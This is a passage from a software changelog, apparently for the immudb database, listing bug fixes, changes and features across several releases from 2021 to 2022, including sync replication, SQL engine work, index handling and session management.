**pkg/replication:** further progress in sync replication\n- **pkg/replication:** backward compatible replication\n- **pkg/replicator:** wip precommitted tx discarding when follower diverged from master\n- **pkg/server:** use replication settings\n- **pkg/server:** include sync replication settings in options\n- **pkg/server:** explicit sync replication\n- **pkg/server:** support for systemdb with session-based auth\n- **pkg/server:** display all replication settings\n- **pkg/server:** handle admin user creation with sync replication enabled\n\n### Features\n- **cmd/immuadmin:** flag to set the number of sync followers\n- **cmd/immudb:** flag to set the number of sync followers for systemdb and defaultdb\n- **embedded/store:** functionality to discard precommitted txs\n- **embedded/store:** core support for sync replication\n- **pkg/api:** api extensions to support sync replication\n- **pkg/database:** wip sync replication logic\n- **pkg/replication:** mode to allow tx discarding on followers\n- **pkg/replication:** wip replicator with support for sync replication\n- **pkg/server:** sync replication logic\n- **pkg/server:** Add ability to inject custom database management object\n\n\n<a name=\"v1.3.2\"></a>\n## [v1.3.2] - 2022-08-25\n\n<a name=\"v1.3.2-RC1\"></a>\n## [v1.3.2-RC1] - 2022-08-24\n### Bug Fixes\n- company name in webconsole and other files\n- access tls value in global scope within ingress annotations\n- **build:** update go version to 1.18 in Dockerfiles\n- **build:** Fix go-acc and goveralls invocations\n- **build/RELEASING.md:** Add note about updating playground\n- **embedded:** use tmp folder for unit test cases\n- **embedded/sql:** Support single `BEGIN` statement.\n- **embedded/store:** Reduce the amount of allocations for tx object\n- **embedded/store:** Return correct error on key length exceeded\n- **embedded/store:** Ensure ordering of transaction timestamps\n- **embedded/store:** Assign blTxID within locked tx state\n- **embedded/store:** Optionally preallocate Tx pools\n- **embedded/store:** Improved check for replicated transaction\n- **embedded/store:** Protect against simultaneous replicators\n- **embedded/store:** Check precommitted state when replicating\n- **embedded/store:** ensure tx is released upon error\n- **embedded/tools/stress_tool:** Fix compilation after recent update to tx holder pool\n- **getRandomTable:** increase RNG range for table generation\n- **github:** Remove unnecessary `/test/` path when uploading perf results to s3\n- **github:** Do not use yaml anchors in github workflows\n- **pkg/client:** Invalid client state after connection refused\n- **pkg/client/clienttest:** enforce mock client to interface\n- **pkg/database:** Fix calculation of proof for VerifiableTxByID\n- **pkg/database:** Correct revision for Scan requirests\n- **server:** Show info text with a logger\n- **servertest:** Allow accessing Server object before starting the server\n- **stdlib/rows:** add colums to row response\n- **test/performance:** Cleanup test directory\n\n### Changes\n- deprecate ImmuClient.HealthCheck in favour of ServerInfo.\n- ignore schema_grpc.pb.go in code coverage.\n- regenerate with correct version of protoc-gen-go.\n- update build constraint to new & future-proof syntax.\n- format tools.go.\n- pin google.golang.org/protobuf to v1.27.1 (currently used version for generated code).\n- reimplement ImmuClient.HealthCheck using rpc ServerInfo instead of (deprecated) Health.\n- pin github.com/pseudomuto/protoc-gen-doc to 1.4.1 (currently used version for generated code).\n- ignore schema_grpc.pb.go in coveralls.\n- refactor TestServerInfo.\n- makefile formatting.\n- update github.com/spf13/viper to v1.12.0.\n- generate gRPC stubs.\n- use go.mod version of github.com/grpc-ecosystem/grpc-gateway when building codegen.\n- Update main go versin to 1.18\n- Introduce separate TxHolder pools\n- **Makefile:** Update webconsole to 1.0.16\n- **build:** Update RELEASING.md doc\n- **build:** Improve generation of build checksums\n- **cmd/immuadmin:** Add support for max-commit-concurrency option\n- **cmd/immuadmin:** Add support for read-tx-pool-size option\n- **cmd/immudb:** Add support for max-sessions command line option\n- **database/sql:** Delay txholder allocation on VerifiableSQLGet\n- **embedded/ahtree:** flushless append\n- **embedded/ahtree:** threshold-based sync\n- **embedded/ahtree:** improve error handling\n- **embedded/ahtree:** use bigger default write buffer size\n- **embedded/ahtree:** improve error message consistency\n- **embedded/ahtree:** support newst appendable implementation\n- **embedded/ahtree:** improve validations and error handling\n- **embedded/ahtree:** minor error message change\n- **embedded/appendable:** auto-sync options\n- **embedded/appendable:** improve explanatory comment inside sync method\n- **embedded/appendable:** autosync when write buffer is full\n- **embedded/appendable:** return io.EOF when offset is out of range\n- **embedded/appendable:** multi-appendable shared write buffer\n- **embedded/appendable:** autosync support in multi-appendable\n- **embedded/appendable:** upgrade mocked and remote appendable based on new flushing assumptions\n- **embedded/appendable:** inmem buffer offset\n- **embedded/appendable:** flush when no more writes are done in appendable\n- **embedded/appendable:** improve singleapp validation and error handling\n- **embedded/appendable:** improve validations and error handling\n- **embedded/appendable:** error tolerant seek\n- **embedded/appendable:** wip remoteapp validation\n- **embedded/htree:** improve error handling\n- **embedded/sql:** Remove unnecessary tx holder buffer from SQLTx\n- **embedded/store:** Add dedicated error for tx pool exhaustion\n- **embedded/store:** Add txPoolOptions to setup pool parameters upon creation\n- **embedded/store:** wip error declaration\n- **embedded/store:** sync AHT before tx commit log\n- **embedded/store:** in-mem clog buffer written when synced\n- **embedded/store:** wrap internal already closed errors\n- **embedded/store:** handle appendable already close error\n- **embedded/store:** improve error comparison with errors.Is(...)\n- **embedded/store:** multi-tx syncs\n- **embedded/store:** Better errors returned during replication error\n- **embedded/store:** Do not write values if concurrency limit is reached\n- **embedded/store:** Use dedicated error for replication conflicts\n- **embedded/store:** avoid sync waiting if there are no new transactions\n- **embedded/store:** add TODO comment\n- **embedded/store:** Add explicit ReadTxEntry method\n- **embedded/store:** aht options\n- **embedded/store:** set new default write buffer values\n- **embedded/store:** use smaller default buffer size\n- **embedded/store:** flush-less precommit\n- **embedded/store:** wip retryable sync\n- **embedded/store:** parametrize write buffer size\n- **embedded/store:** Add explicit ReadTxHeader\n- **embedded/store:** Optimize ReadTxEntry method\n- **embedded/store:** Optimize ReadTxHeader method\n- **embedded/store:** Add txDataReader to process transaction data\n- **embedded/store/txpool:** Make txPoolOptions members private\n- **embedded/store/txpool:** Allocate pool entries separately\n- **embedded/tbtree:** use non-retryable sync\n- **embedded/tbtree:** improve error handling\n- **embedded/tbtree:** define using generic errors towards errors.Is(...) usage\n- **embedded/watchers:** improve error handling\n- **github:** Upload perf results to AWS s3\n- **github:** Allow using multiple runners for perf test suite\n- **github:** Run perf test suite on pull requests\n- **github:** Run performance test suite on push to master\n- **github:** Add simple documentation of `PERF_TEST_xxx` secrets\n- **github:** Install qemu using docker/setup-qemu-action\n- **github:** Allow selection of runner to run perf test\n- **github:** Update ACTIONS_SECRETS.md file\n- **pkg/api:** export syncFrequency database parameter\n- **pkg/api:** milliseconds message type\n- **pkg/api:** deprecate rpc Health in favour of ServerInfo.\n- **pkg/api:** Add tx pool size to GRPC and stored db options\n- **pkg/api:** expose aht settings\n- **pkg/database:** Add tx pool size to db options\n- **pkg/database:** allocate tx buffer before doing verified writes\n- **pkg/database:** Remove txHolder from get operation\n- **pkg/database:** Do not allocate txholder for history scans\n- **pkg/logger:** Add memory logger\n- **pkg/logger:** add json logger\n- **pkg/server:** Add pprof option\n- **pkg/server:** simplify ImmuServer.Health.\n- **test/performance:** Add separate `Write KV/s` test.\n- **test/performance:** Allow customized name for the benchmark\n- **test/performance:** Move test seed out of configuration\n- **test/performance:** Correctly close random data generator\n- **test/performance:** Split benchmark list and run code\n- **test/performance:** Add basic flags to the benchmark process\n- **test/performance:** Move random generator and key tracker to common coode\n- **test/performance:** Add CPU time / memory stats gathering\n- **test/performance:** Better logging and output\n- **test/performance:** Add basic IO stats\n- **test/performance:** Improve live IO display\n\n### Features\n- revert usages of ServerInfo that would break backwards compatibility.\n- add test for HealthCheck.\n- **cmd/immuadmin:** expose syncFrequency and WriteBufferSize db parameters\n- **cmd/immuclient:** add info command to immuclient.\n- **pkg/api:** expose write buffer parameter\n- **pkg/api:** improve documentation of ServerInfo.\n- **pkg/api:** remove ServerInfoResponse.status field.\n- **pkg/api:** add ServerInfo rpc to deprecate Health.\n- **pkg/client:** revert WaitForHealthCheck change to maintain backwards-compatibility.\n- **pkg/client:** implement ImmuClient.ServerInfo.\n- **pkg/server:** implement ImmuServer.ServerInfo.\n\n\n<a name=\"v1.3.1\"></a>\n## [v1.3.1] - 2022-06-30\n### Bug Fixes\n- **embedded/store:** filter evaluation after valRef resolution\n\n### Changes\n- **embedded/store:** offset handling at keyreader\n\n### Features\n- **embedded/sql:** offset clause\n- **embedded/store:** offset in key scanning\n- **pkg/api:** offset attribute in scan and zscan endpoints\n\n\n<a name=\"v1.3.1-RC1\"></a>\n## [v1.3.1-RC1] - 2022-06-30\n### Bug Fixes\n- **README:** Update readme to show examples for 1.3.0 version\n- **cmd/immuadmin:** use StreamChunkSize as max chunk size during tx replication\n- **cmd/immudb:** include metrics endpoint related flags\n- **embedded/remotestorage:** Fix invalid comment\n- **embedded/remotestorage/s3:** Fix s3 object name validation\n- **embedded/remotestorage/s3:** Correctly url decode entry names\n- **embedded/remotestorage/s3:** Simplify the code for scan\n- **embedded/remotestorage/s3:** Avoid using HEAD requests\n- **embedded/sql:** Use defer to cleanup unclosed readers on error\n- **embedded/sql:** Fix snapshot leak on query initialization failure\n- **embedded/sql:** Fix reader leaks during initialization failures\n- **embedded/sql:** Properly close readers in joint row reader\n- **embedded/sql:** Fix snapshot leaks in union readers\n- **embedded/sql:** ensure timestamp is evaluated with microsecond precision\n- **pkg/client:** ensure connection is closed and session can be re-established\n- **pkg/database:** Do not panic if incorrect number of pk values is given to VerifiableSQLGet\n- **pkg/server:** Fix remote storage test after recent changes\n- **pkg/server/sessions:** Correctly start session guard\n- **pkg/server/sessions:** Avoid deadlock when closing session manager\n- **pkg/server/sessions:** Session manager test fixes\n- **pkg/server/sessions:** Use strong random source for session ID\n- **pkg/server/sessions:** Handle short buffer read when generating session id\n\n### Changes\n- Update dependencies\n- **build:** Update RELEASING.md file\n- **embedded/remotestorage:** More detailed errors\n- **embedded/remotestorage:** Improve error reporting\n- **embedded/remotestorage:** Improve testing of remotestorage\n- **embedded/remotestorage/s3:** Improved s3 object name checks\n- **embedded/sql:** fixed-timed tx\n- **embedded/sql:** Do not return error from conditional and limit readers\n- **github:** Update minimal supported go version to 1.15\n- **github:** Run tests with minio service\n- **github:** On macOS run client only test on pull requests\n- **github:** Update push action\n- **github:** Run coverage tests with minio enabled\n- **pkg/client:** Better detection of tests that require external immudb\n- **pkg/server:** Add missing copyright headers\n- **pkg/server/session:** Move options normalization into options struct\n- **pkg/server/sessions:** Simplify session handling code\n- **pkg/server/sessions:** Add MaxSessions option\n- **pkg/server/sessions:** Improve options handling\n- **remotestorage:** Add prometheus metrics for remote storage kind\n- **tools:** Remove old stream tool\n\n\n<a name=\"v1.3.0\"></a>\n## [v1.3.0] - 2022-05-23\n### Bug Fixes\n- **embedded/sql:** return invalid value when using aggregated col selector in temporal queries\n- **pkg/client:** enhance client-side validations in verified methods\n\n\n<a name=\"v1.3.0-RC1\"></a>\n## [v1.3.0-RC1] - 2022-05-20\n### Bug Fixes\n- **cmd/immuclient:** Do not crash on login prompt\n- **embedded/sql:** selector resolution using valuesRowReader\n- **embedded/sql:** continue stmt execution on handler after changing db in use\n- **embedded/sql:** increase auto_increment pk once per row\n- **embedded/sql:** typo in error message\n- **embedded/sql:** adjust named parameter parsing\n- **github:** Run sonarcloud code analysis after cove coverate\n- **pkg/database:** avoid silent returns when the scan limit is reached\n- **pkg/database:** Fix detection of incorrect revision numbers\n- **pkg/database:** Correctly interpret negative revision for getAt\n\n### Changes\n- **Dockerfile:** Add EXPOSE 5432 and IMMUDB_PGSQL_SERVER to all immudb images\n- **README.md:** Switch to github badge\n- **build:** Update the RELEASING.md documentation\n- **cmd/immuclient:** Move history command to a separate file\n- **cmd/immuclient:** Remove unnecessary sleep for set commands\n- **cmd/immuclient:** Extract separate immuclient options\n- **embedded/sql:** functional-style catalog queries\n- **embedded/sql:** unit testing db selection\n- **embedded/sql:** not showing unexistent db name as part of error message\n- **embedded/sql:** fully non-transactional db creation and selection\n- **embedded/sql:** wip grammar extensions to enrich temporal queries\n- **embedded/sql:** de-duplicate error handling\n- **embedded/sql:** database selection without multidb handler is still transactional\n- **embedded/sql:** database selection as  non-transactional\n- **embedded/sql:** validate current database as first step\n- **embedded/sql:** param substitution in functional datasource\n- **embedded/sql:** detailed error messages\n- **embedded/sql:** quoted identifiers\n- **embedded/sql:** ensure db selection is the last operation\n- **embedded/sql:** implicit time expression\n- **embedded/sql:** include short database selection stmt\n- **embedded/sql:** ensure context propagation with multiple txs\n- **embedded/sql:** re-include ttimestamp conversions in tx periods\n- **embedded/sql:** postpone period evaluation so to support parameters type inference\n- **embedded/sql:** non-functional catalog access\n- **embedded/sql:** check tx range edge cases\n- **embedded/sql:** sql tx with context\n- **embedded/sql:** multi-db handler\n- **embedded/sql:** functional catalog api\n- **embedded/store:** minor refactoring time-based tx lookup\n- **github:** Speedup push github actions\n- **grpc:** Extend Scan API with endKey, inclusiveSeek, inclusiveEnd\n- **pkg/api:** extend database creation response to indicate db already existed\n- **pkg/database:** set multi-db handler after db initialization\n- **pkg/database:** Rename getAt to getAtTx\n- **pkg/database:** Improved checking of KeyRequest constraints\n- **pkg/database:** databases catalog query yet unsupported\n- **pkg/database:** contextual sql tx\n- **pkg/database:** provide query parameters during resolution\n- **pkg/database:** maintain MaxKeyScanLimit for backward compatibility\n- **pkg/database:** Add missing copyright header in scan_test.go\n- **pkg/database:** minor error renaming\n- **pkg/integration:** Cleanup and restructure SQL tests\n- **pkg/integration:** Add SQL verify tests after ALTER TABLE\n- **pkg/server:** upgrade database method signature\n- **pkg/server:** contextual sql tx\n\n### Features\n- Calculate revision number when scanning key history\n- Add revision number when getting DB entries\n- **api/schema:** Add revision-based option to key query\n- **cmd/immuclient:** Add restore operation\n- **cmd/immuclient:** Add support for revision-based get in immuclient\n- **cmd/immuclient:** Add revision numbers when looking up key history\n- **cmd/immuclient:** Better error messages for invalid revision for restore command\n- **embedded/sql:** catalog queries\n- **embedded/sql:** Implement ALTER TABLE ADD COLUMN\n- **embedded/sql:** create database if not exists\n- **embedded/sql:** WIP - UNION operator\n- **embedded/sql:** temporal row ranges\n- **embedded/sql:** queries with temporal ranges\n- **embedded/store:** time-based tx lookup\n- **embedded/store:** ranged key update reading\n- **pkg/client:** Add revision-based get request on the go client\n- **pkg/database:** Add revision-based get request on the GRPC level\n- **pkg/server:** support database creation from sql\n- **pkg/server:** support database selection from sql stmt\n\n\n<a name=\"v1.2.4\"></a>\n## [v1.2.4] - 2022-04-28\n\n<a name=\"v1.2.4-RC1\"></a>\n## [v1.2.4-RC1] - 2022-04-27\n### Bug Fixes\n- **Dockerfile:** Fix HOME variable for podman\n- **cmd/immuclient:** upgrade not logged in error handling\n- **embedded/tbtree:** Better logging in btree flush\n- **embedded/tbtree:** Fix cleanupPercentage in SnapshotSince call\n- **embedded/tbtree:** ensure node split is evaluated\n- **embedded/tbtree:** create nodes with the right number of children\n- **embedded/tbtree:** split into multiple nodes\n- **github/push:** Fix notarization of binaries\n- **pkg/auth:** Clarify comments about token injection\n- **pkg/auth:** Do not send duplicated authorization header\n- **pkg/server:** include db name in flush index result\n\n### Changes\n- **CHANGELOG.md:** remove bogus `liist` tag entry\n- **build/RELEASING.md:** Update releasing docs\n- **cmd/immuclient:** include db name when printing current state\n- **embedded/store:** index settings validations\n- **embedded/tbtree:** rename function that calculates node size lower bound\n- **embedded/tbtree:** ensure node size is consistent with key and value sizes\n- **github:** Update github workflow on master / version push\n- **github:** Update github action versions\n- **github:** Use smaller 5-days retention for master builds\n- **github/push:** Add quick test linux-amd64 binaries\n- **github/push:** Build, test and notarize for release/v* branches\n- **github/push:** Calcualte sha256 checksums for binaries in github\n- **github/push:** Build docker images after tests\n- **github/push:** Add quick test for Mac x64 binaries\n- **github/push:** Add quick test for linux-arm64 binaries through qemu\n- **github/push:** Add quick test for linux-s390x binaries through qemu\n- **github/push:** Run stress test before notarizing binaries\n- **pkg/api:** txbyid with keepReferencesUnresolved option\n- **tools/testing:** Add randomized key length mode for stress test tool\n- **tools/testing:** Add stress tool\n\n\n<a name=\"v1.2.3\"></a>\n## [v1.2.3] - 2022-04-14\n### Bug Fixes\n- **cmd/immuadmin:** simplify logging when flushing and compacting current db\n- **pkg/database:** return key not found when resolving a deleted entry\n- **pkg/database:** Return correct error for verifiedGet on deleted entries\n\n\n<a name=\"v1.2.3-RC1\"></a>\n## [v1.2.3-RC1] - 2022-04-13\n### Bug Fixes\n- **CI/CD:** Golang compiler is not needed for building docker images\n- **CI/CD:** Use CAS for notarization\n- **embedded/store:** Fix early precondition checks\n- **embedded/store:** Ensure up-to-date index on constrained writes\n- **embedded/tbtree:** copy-on-write when increasing root ts\n- **immudb:** Fix the name of signing key env var\n- **pkg:** Fix tests after recent changes in API\n- **pkg/api:** typo in kv metadata message\n- **pkg/api:** Remove unused Sync field from IndexOptions\n- **pkg/api/schema:** Use correct id for preconditions in SetRequest\n- **pkg/auth:** Avoid unguarded read from user tokens map\n- **pkg/client:** Adopt to EncodeReference changes\n- **pkg/client:** Prevent updates with incorrect database settings\n- **pkg/client:** Use correct response for UpdateDatabaseV2\n- **pkg/client/errors:** Update the list of error codes\n- **pkg/client/errors:** Ensure FromErrors works with ImmuError instance\n- **pkg/database:** Better handling of invalid constraints\n- **pkg/database:** Improve test coverage for KV constraints\n- **pkg/database:** automatically set max score if not specified in desc order\n- **pkg/errors:** Correct GRPC error mapping for precondition failure\n- **pkg/server:** Use buffered channel for catching OS signals\n- **pkg/server:** typo in log message\n- **pkg/server:** adjust time to millis convertion\n- **pkg/server:** ensure sessions locks get released\n- **pkg/server:** override default settings with existent values\n- **tools/monitoring:** Update grafana dashboards\n\n### Changes\n- cleanup percentage as float value\n- Fix typo in a comment\n- Rename Constraints to Preconditions\n- Update copyright to 2022\n- **Dockerfile:** Improve dockerfile builds\n- **build:** improve release instructions ([#1100](https://github.com/vchain-us/immudb/issues/1100))\n- **cmd/immuadmin:** add safety flag in delete database command\n- **cmd/immuclient:** health command description\n- **embedded/ahtree:** fix error message\n- **embedded/appendable:** return io.EOF if there are not enough data for checksum calculation\n- **embedded/appendable:** fix typo in error message\n- **embedded/appendable:** discard capability\n- **embedded/appendable:** appendable checksum calculation\n- **embedded/store:** Add missing Copyright header\n- **embedded/store:** add synced setting in index options\n- **embedded/store:** do not skip expired entries when indexing\n- **embedded/store:** verbose data corruption error\n- **embedded/store:** parametrized index write buffer size\n- **embedded/store:** syncThld at store options\n- **embedded/store:** verbose logging during compaction\n- **embedded/store:** index one tx per iteration\n- **embedded/store:** improve compaction logging\n- **embedded/store:** sync aht when syncing the store\n- **embedded/store:** skip expired entries during indexing\n- **embedded/store:** declare constants for all the options\n- **embedded/store:** use store layer for constraint validations\n- **embedded/store:** constraint validations with deletion and expiration support\n- **embedded/store/options:** Simplify validation tests\n- **embedded/tbree:** use shared writeOpts\n- **embedded/tbree:** only insert nodes in cache when they were mutated\n- **embedded/tbree:** remove obsolete property\n- **embedded/tbree:** bump index version\n- **embedded/tbtree:** middle node split\n- **embedded/tbtree:** Add more internal metrics\n- **embedded/tbtree:** min offset handling\n- **embedded/tbtree:** validate compaction target path\n- **embedded/tbtree:** data discarding with opened and older snapshots\n- **embedded/tbtree:** Extend buckets for child node count histogram\n- **embedded/tbtree:** synced flush if cleanup percentage is greater than zero\n- **embedded/tbtree:** discard unreferenced data after sync\n- **embedded/tbtree:** reduce allocs during flush\n- **embedded/tbtree:** minOffset only for non-mutated nodes\n- **embedded/tbtree:** ensure current snapshot is synced for compaction\n- **embedded/tbtree:** validate input kv pairs before sorting\n- **embedded/tbtree:** improve snapshot loading and discarding\n- **embedded/tbtree:** discard unreferenced data when flushing index\n- **embedded/tbtree:** discard unreferenced data\n- **embedded/tbtree:** Add metrics for index data size\n- **embedded/tbtree:** reduce allocations when flushing\n- **embedded/tbtree:** positive compaction threshold\n- **embedded/tbtree:** rebase non-indexed on kv syncthreshold\n- **embedded/tbtree:** explicit error validation before loading\n- **embedded/tbtree:** sort kv pairs in bulkInsert\n- **embedded/tbtree:** checksum-based snapshot consistency validation\n- **embedded/tbtree:** self-healing index\n- **embedded/tbtree:** set initial offsets during initialization\n- **embedded/tbtree:** validate data-format version\n- **embedded/tbtree:** use double for min offset calculation\n- **embedded/tbtree:** reduce fixed records length\n- **embedded/tbtree:** open-ranged nodes\n- **embedded/tbtree:** wip reduce node size\n- **embedded/tbtree:** ensure sync on gracefully closing\n- **embedded/tbtree:** fully replace sync with syncThld\n- **embedded/tbtree:** use binary search during key lookups\n- **embedded/tbtree:** Use KV entries count for sync threshold\n- **embedded/tbtree:** no cache update during compaction reads\n- **makefile:** fix cas sign instructions\n- **metrics:** Add better flush / compaction metrics for btree\n- **pkg/api:** use entries spec in verified and scan tx endpoints\n- **pkg/api:** add synced param to flushindex endpoint\n- **pkg/api:** non-indexable entries\n- **pkg/api:** change proto schema toward db loading/unloading\n- **pkg/api:** parametrized index cleanup percentage\n- **pkg/api:** db loading and unloading\n- **pkg/api:** uniform v2 endpoints\n- **pkg/api:** prepare flushindex endpoint for future extensions\n- **pkg/api:** use nullable prefix in db settings message\n- **pkg/client:** optional client connection\n- **pkg/client:** use txRequest in TxByIDWithSpec method\n- **pkg/client:** synced flushing to enable physical data deletion\n- **pkg/database:** parameters to resolve references at tx\n- **pkg/database:** tx entries excluded by default if non-null spec is provided\n- **pkg/database:** optional tx value resolution\n- **pkg/database:** use shared tx holder when resolving tx entries\n- **pkg/database:** remove db name from options\n- **pkg/integration:** integrate non-indexed into grpc apis\n- **pkg/server:** endpoint to retrieve settings of selected database\n- **pkg/server:** expose max opened files for btree indexing\n- **pkg/server:** use syncThreshold\n- **pkg/server:** replication options for systemdb and defaultdb\n- **pkg/server:** use previous store default values\n- **pkg/server:** increase default max number of active snapshots\n- **pkg/server:** tolerate failed user-created db loading\n- **pkg/server:** expose flush index endpoint\n- **pkg/server:** start/stop replicator when loading/unloading db\n- **pkg/server:** convert time to milliseconds\n- **pkg/server:** minor changes\n- **pkg/server:** log web-console error on boot\n- **pkg/server:** synced db runtime operations\n- **pkg/server:** Dump used db options when loading databases\n- **pkg/serverr:** validate request in deprecated database creation endpoint\n- **stats:** Add btree cache prometheus stats\n\n### Features\n- Improved API for database creation and update\n- Improved validation of kv constraints\n- Entries-independent constraints in GRPC api\n- Move KV write constraints to OngoingTX member\n- **KV:** Do not create unnecessary snapshots when checking KV constraints\n- **KV:** Add constrained KV writes for Set operation\n- **KV:** Add constrained KV writes for Reference operation\n- **KV:** Add constrained KV writes for ExecAll operation\n- **KV:** Move constraints validation to OngoingTx\n- **embedded/cache:** dynamic cache resizing\n- **embedded/store:** Fail to write metadata if proof version does not support it\n- **embedded/store:** Add tests for generation of entries with metadata\n- **embedded/store:** non-indexable entries\n- **embedded/store:** Add max header version used during writes\n- **embedded/store:** Allow changing tx header value using GRPC api.\n- **embedded/tbtree:** decouple flush and sync by introducing syncThreshold attribute\n- **immuadmin:** Allow changing proof compatibility from immuadmin\n- **kv:** Update grpc protocol with KV set constraints\n- **pkg/api:** tx api with entry filtering capabilities\n- **pkg/api:** delete database endpoint\n- **pkg/client:** new method to fetch tx entries in a single call\n- **pkg/database:** Updated GRPC protocol for constrained writes\n- **pkg/database:** add noWait attribute in get request\n- **pkg/database:** Update code for new constrained write protocol\n- **pkg/server:** database health endpoint\n- **pkg/server:** support database loading/unloading\n- **pkg/server:** new endpoint databaseSettings\n- **pkg/server:** expose all database settings\n- **tools/monitoring:** added datasource selection, added instance selection, labels include instance, fixed calculations\n- **tools/monitoring:** Add immudb Grafana dashboard\n\n\n<a name=\"v1.2.2\"></a>\n## [v1.2.2] - 2022-01-18\n### Bug Fixes\n- registering connection in order to make possible conn recycling\n- **Dockerfile:** Add ca-certificates.crt file to immudb image\n- **client/file_cache:** Fix storing immudb state in file cache\n- **embedded/immustore:** Avoid deadlock when acquire vLog lock\n- **embedded/sql:** max key len validations\n- **embedded/sql:** consider not null flag is on for auto incremental column\n- **pkg/server:** validate if db is not replica then other replication attributes are not set\n- **pkg/stdlib:** fix last insert id generation\n\n### Changes\n- create code of conduct markdown file ([#1051](https://github.com/vchain-us/immudb/issues/1051))\n- **cmd/immuclient:** return actual login error\n- **embedded/sql:** wip client provided auto-incremental values\n- **embedded/sql:** change column constraints ordering\n- **embedded/sql:** wip client provided auto-incremental values\n- **embedded/sql:** add first and last insert pks retrivial methods\n- **embedded/sql:** wip client provided auto-incremental values\n- **metrics:** Add indexer metrics\n- **metrics:** Add more s3-related metrics\n- **pkg/database:** temporarily disable execall validations\n- **pkg/database:** pre-validation of duplicated entries in execAll operation\n- **pkg/database:** instantiate tx holder only in safe mode\n- **pkg/database:** self-contained noWait execAll\n- **pkg/database:** descriptive error messages\n- **pkg/replication:** delay replication after failure\n- **pkg/stdlib:** clean connection registration and leftovers\n\n### Features\n- **embedded/sql:** support for basic insert conflict handling\n- **s3:** Add support for AWS V4 signatures\n\n\n<a name=\"v1.2.1\"></a>\n## [v1.2.1] - 2021-12-14\n### Bug Fixes\n- fix interactive use database\n- **embedded/store:** change already closed error message\n- **embedded/store:** readonly tx entries to ensure no runtime modification\n- **embedded/store:** reserve 4bytes in buffers for nentries\n- **embedded/tbtree:** set fixed snapshot ts\n- **pkg/server/sessions:** remove transaction on read conflict error\n- **pkg/server/sessions/internal/transactions:** transaction is cleared after sqlExec error\n- **sql:** Do not panic on error during delete\n- **tx:** Remove summary from metadata\n\n### Changes\n- **embedded/store:** txmetdata placeholder with zero len\n- **embedded/store:** private readonly metadata is validated when reading data\n- **embedded/store:** read-only kv metadata for committed entries\n- **embedded/store:** rw and readonly kv metadata\n- **pkg/api:** use new kvmetadata api\n- **pkg/client:** tx read conflict error is mapped in an CodInFailedSqlTransaction\n- **pkg/server/sessions/internal/transactions:** defer only when needed\n- **pkg/stdlib:** clean tx after rollback\n- **pkg/stdlib:** fix connection creation\n- **server/sessions:** modify read conflict error message\n\n### Features\n- **pkg/stdlib:** expose tx on std lib\n\n\n<a name=\"v1.2.0\"></a>\n## [v1.2.0] - 2021-12-10\n### Bug Fixes\n- **database:** Internal consistency check on data reads\n- **database/meta:** Do not crash on history with deleted items\n- **pkg/database:** history skipping not found entries\n- **protobuf:** Fix compatibility with 1.1 version\n\n### Changes\n- **cmd/immuadmin/command:** add super user login hint\n- **embedded/sql:** use sql standard escaping with single quotes\n- **embedded/sql:** support for escaped strings\n- **embedded/store:** reduce attribute code size\n- **embedded/store:** mandatory expiration filter\n- **embedded/store:** fix expiration error declaration\n- **embedded/store:** dedicated expiration error\n- **embedded/store:** improve metadata serialization/deserialization methods\n- **embedded/store:** validations during metadata deserialization\n- **embedded/store:** return data corrupted error when deserialization cannot proceed\n- **embedded/store:** easily extendable meta attributes\n- **embedded/store:** use fixed time during the lifespan of a tx\n- **embedded/store:** prevent value reading of expired entries\n- **makefile:** remove windows binaries digital signature\n- **pkg/auth:** require admin permission to export and replicate txs\n- **pkg/integration:** remove useless compilation tag on tests\n- **pkg/server:** deprecate GetAuth and WithAuth\n- **pkg/server/sessions:** session max inactivity time set to 3m and minor stat collecting fix\n- **pkg/server/sessions:** tuning sessions params\n- **pkg/server/sessions:** session timeout set to 2 min\n\n### Features\n- **embedded/store:** logical entries expiration\n- **pkg/api:** logical entries expiration\n- **pkg/client:** expirable set\n\n\n<a name=\"v1.2.0-RC1\"></a>\n## [v1.2.0-RC1] - 2021-12-07\n### Bug Fixes\n- Update jaswdr/faker to v1.4.3 to fix build on 32-bit systems\n- **Makefile:** Use correct version of the grpc-gateway package\n- **Makefile:** Fix building immudb for specific os/arch\n- **embedded/sql:** normalize parameters with lower case identifiers\n- **embedded/sql:** Do not modify value returned by colsBySelector\n- **embedded/sql:** correct max key length validation based on specified col max length\n- **embedded/sql:** fix rollback stmt\n- **embedded/sql:** distinct row reader with limit argument\n- **embedded/sql:** ensure determinism and no value overlaps distinct rows\n- **embedded/sql:** Use correct statement for subquery\n- **embedded/sql:** param substitution in LIKE expression\n- **embedded/sql:** Fix SELECT * when joining with subquery\n- **embedded/sql:** fix inserting calculated null values\n- **embedded/store:** release lock when tx has a conflict\n- **embedded/store:** read conflict validation\n- **embedded/store:** typo in error message\n- **pkg/auth:** Fix password tests\n- **pkg/client:** fix database name saving on token service\n- **pkg/database:** sql exec on provided tx\n- **pkg/server:** fix keep alive session interceptor\n- **testing:** using pointers for job channels\n- **webconsole:** Fix html of the default missing page.\n\n### Changes\n- Update build/RELEASING.md documentation.\n- remove token service from client options and fix tests\n- token is handled internally by sdk. Remove useless code\n- refining sdk client constructor and add readOnly tx guard\n- fix more tests\n- decoupled token service\n- **cmd/immuadmin/command:** fix immuadmin token name on client creation\n- **cmd/immuclient:** deleteKeys functioin and updates after metadata-related changes\n- **cmd/immuclient:** temporary disable displaying hash in non-verified methods\n- **embeddded/tbtree:** leverage snapshot id to identify it's the current unflushed one\n- **embedded/multierr:** minor code simplification\n- **embedded/sql:** rollback token\n- **embedded/sql:** changes on tx closing\n- **embedded/sql:** postponing short-circuit evaluation for safetiness\n- **embedded/sql:** set INNER as default join type\n- **embedded/sql:** Better error messages when (up|in)serting data\n- **embedded/sql:** minor code simplification\n- **embedded/sql:** standardized datasource aliasing\n- **embedded/sql:** remove opt_unique rule to ensure proper error message\n- **embedded/sql:** fix nullable values handling\n- **embedded/sql:** use order type in scanSpecs\n- **embedded/sql:** kept last snapshot open\n- **embedded/sql:** de-duplicate tx attributes using tx header struct\n- **embedded/sql:** unsafe snapshot without flushing\n- **embedded/sql:** wip sql tx preparation\n- **embedded/sql:** set parsing verbose mode when instantiating sql engine\n- **embedded/sql:** reusable index entries and ignore deleted index entries\n- **embedded/sql:** limit row reader\n- **embedded/sql:** delay index sync until fetching row by its pk\n- **embedded/sql:** leverage metadata for logical deletion\n- **embedded/sql:** Simplify row_reader key selection\n- **embedded/sql:** use int type for limit arg\n- **embedded/sql:** minor update after rebasing\n- **embedded/sql:** cancel non-closed tx\n- **embedded/sql:** expose Cancel method\n- **embedded/sql:** sql engine options and validations\n- 